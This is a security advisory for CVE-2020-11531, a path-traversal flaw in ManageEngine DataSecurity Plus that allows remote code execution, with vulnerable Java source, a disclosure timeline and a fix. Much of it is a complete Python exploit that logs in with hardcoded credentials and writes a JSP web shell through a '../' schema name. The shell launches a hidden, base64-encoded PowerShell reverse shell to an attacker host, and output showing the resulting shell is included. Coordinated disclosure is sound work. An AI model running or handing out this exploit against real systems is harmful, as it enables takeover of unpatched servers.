ManageEngine DataSecurity Plus Path Traversal / Code Execution

2020.05.12
Credit: Sahil Dhar
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal =============================================================================== Identifiers ------------------------------------------------- * CVE-2020-11531 * XL-20-001 CVSSv3 score ------------------------------------------------- 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Vendor ------------------------------------------------- ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/) Product ------------------------------------------------- ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment Affected products ------------------------------------------------- - All DataSecurity Plus versions prior to 6.0.1 (6011) - All ADAudit Plus versions prior to 6.0.3 (6032) Credit ------------------------------------------------- Sahil Dhar - xen1thLabs - Software Labs Vulnerability summary ------------------------------------------------- ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when handling `DR-SCHEMA-SYNC` request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack. Technical details ------------------------------------------------ Upon receiving the `DR-SCHEMA-SYNC` request, the application calls the `syncDRSchemas()` function of `DataRepositoryManager` class at line:109 of `DataRepositoryManager.java` from `dataengine-xnode.jar` package. As can be seen at line:126 of function `syncDRSchemas()` , the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it. ```java 109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception { 110: JSONObject jResponse = new JSONObject(); 111: JSONObject jSchemas = request.drSchemaListObj(); 112: File schemasFolder = ((Path) Environment.XNODE_DR_SCHEMA_DIR.value()).toFile(); 113: schemaMap = new ConcurrentHashMap(); 114: if (!schemasFolder.exists()) { 115: schemasFolder.mkdirs(); 116: } 117: if (schemasFolder.isDirectory()) { 118: File[] schemaFileList = schemasFolder.listFiles(); 119: for (File schemaFile: schemaFileList) { 120: schemaFile.delete(); 121: } 122: } 123: Iterator iterator = jSchemas.keys(); 124: while (iterator.hasNext()) { 125: String key = (String) iterator.next(); 126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key)); 127: bw.write(jSchemas.getJSONObject(key).toString(2)); 128: bw.close(); 129: Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key)); 130: schemaMap.put(((DRSchema) schema).getSchemaName(), schema); 131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'"); 132: } 133: checkFieldWithMultipleDataTypes(); 134: jResponse.put("error_code", 0); 135: return jResponse; 136: } ``` Proof of concept ------------------------------------------------- Using the following exploit code, we can observe that by sending a `DR-SCHEMA-SYNC` request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code. ```python #!/usr/bin/env python # Author: Sahil Dhar(@0x401) import socket import sys import requests import telnetlib import threading import os from time import sleep from base64 import b64encode from requests.packages.urllib3 import disable_warnings from requests.packages.urllib3.exceptions import InsecureRequestWarning def reverse_tcp_handler(lport): print("[+] Starting reverse handler on port %d" %(lport)) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", lport)) s.listen(1) conn, addr = s.accept() print("[+] Got connection from %s" % addr[0]) t.sock = conn print("[+] whoami ?") t.write(b"whoami\n") t.interact() def get_bytearray_payload(lhost,lport): cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb yte.Length);$stream.Flush()};$client.Close()" r_cmd = "" for c in cmd: r_cmd += c r_cmd += "\x00" payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' % (b64encode(r_cmd.encode('utf-8'))).decode('utf-8') r = "" for i in payload: r += str(ord(i)) r += ", " r = r[0:-2] return r def send_payload(rhost, rport, web_port, lhost, lport): auth = '{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}' shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list": {"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, lport)+'})); %>"}}}' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((rhost,int(rport))) s.send(auth.encode('utf-8')) sleep(1) s.send(shell.encode('utf-8')) print("[+] Triggering the shell...") r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" %(rhost, web_port)) def main(): help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__)) if len(sys.argv) < 6: print(help) os._exit(1) disable_warnings() rhost = sys.argv[1] rport = int(sys.argv[2]) web_port = int(sys.argv[3]) lhost = sys.argv[4] lport = int(sys.argv[5]) th = threading.Thread(target=reverse_tcp_handler, args=(lport,)) th.start() send_payload(rhost, rport, web_port, lhost, lport) if __name__=="__main__": main() ``` ``` #~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444 [+] Starting reverse handler on port 4444 [+] Triggering the shell... [+] Got connection from 192.168.56.108 [+] whoami ? windowsx64-pc\windowsx64 PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin> ``` Solution ------------------------------------------------- Update the affected products to their latest version. Timeline ------------------------------------------------- Date | Status ------------|----------------------------- 04-MAR-2020 | Reported to vendor 13-MAR-2020 | Patch available 05-MAY-2020 | Public disclosure


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